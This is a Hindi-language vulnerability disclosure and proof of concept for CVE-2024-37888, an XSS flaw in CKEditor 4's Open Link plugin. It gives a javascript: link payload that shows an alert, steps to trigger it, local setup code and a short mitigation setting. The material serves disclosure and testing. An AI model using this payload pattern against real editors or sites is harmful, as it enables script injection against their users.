
CKEditor 4 के Open Link Plugin के लिए XSS PoC/Exploit
यह रिपॉजिटरी CVE-2024-37888 के लिए भेद्यता विवरण और शोषण का दस्तावेजीकरण करती है, जिसे मेरे द्वारा खोजा और रिपोर्ट किया गया है।
यह प्रूफ ऑफ कॉन्सेप्ट (POC) ओपन लिंक प्लगइन में मेरे द्वारा हाल ही में खोजी गई XSS भेद्यता के शोषण को प्रदर्शित करता है, जो सक्षम होने पर सीधे CKEditor 4 के सभी संस्करणों को प्रभावित करता है। दोष एडिटर के भीतर तैयार लिंक के माध्यम से जावास्क्रिप्ट निष्पादन की अनुमति देता है, जिसे प्लगइन सैनिटाइज़ करने में विफल रहता है। इस दोष का शोषण टेक्स्ट एरिया के अंदर तभी किया जा सकता है जब ओपन लिंक प्लगइन स्थापित हो। ओपन लिंक प्लगइन हमें एडिटिंग एरिया के अंदर सीधे लिंक खोलने की अनुमति देता है।
इस भेद्यता का परीक्षण यहाँ उपलब्ध पूर्व-कॉन्फ़िगर्ड CKEditor इंस्टेंस से किया जा सकता है।
पेलोड सम्मिलित करें:
CKEditor इंस्टेंस खोलें और "Source" आइकन पर क्लिक करें।
टेक्स्ट एरिया में निम्नलिखित पेलोड डालें:
<a href="javascript:alert('XSS Found')">XSS</a>

WYSIWYG मोड पर स्विच करें:

XSS ट्रिगर करें:

आप नीचे दिए गए चरणों का पालन करके इस भेद्यता का परीक्षण करने के लिए अपना स्वयं का स्थानीय इंस्टेंस सेट कर सकते हैं।
CKEditor 4 डाउनलोड करें:

ओपन लिंक प्लगइन स्थापित करें:
ckeditor/plugins/openlink निर्देशिका में रखें।
OpenLink प्लगइन शामिल करने के लिए कॉन्फ़िगरेशन अपडेट करें:
config.js फ़ाइल में अंत में निम्नलिखित पंक्तियाँ जोड़ें:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // लिंक टार्गेट टैब छुपाएं
config.openlink_modifier = 0; // लिंक खोलने के लिए कोई मॉडिफायर नहीं
config.openlink_enableReadOnly = true; // रीड-ओनली मोड में लिंक खोलने की अनुमति दें
config.js:CKEDITOR.editorConfig = function( config ) {
// डिफ़ॉल्ट कॉन्फ़िगरेशन में परिवर्तन यहाँ परिभाषित करें।
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
HTML में CKEditor शामिल करें:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

यह भेद्यता Open Link प्लगइन के कोड बेस में पाई गई है, न कि CKEditor 4 कोडबेस में। उपरोक्त POC CKEditor 4.*.* में ओपन लिंक प्लगइन के माध्यम से XSS भेद्यता के शोषण को प्रदर्शित करता है। दोष विशेष रूप से तैयार किए गए लिंक के माध्यम से मनमाना जावास्क्रिप्ट निष्पादन की अनुमति देता है, जो एक महत्वपूर्ण सुरक्षा जोखिम उत्पन्न करता है।
config.disallowedContent = 'a[onclick]';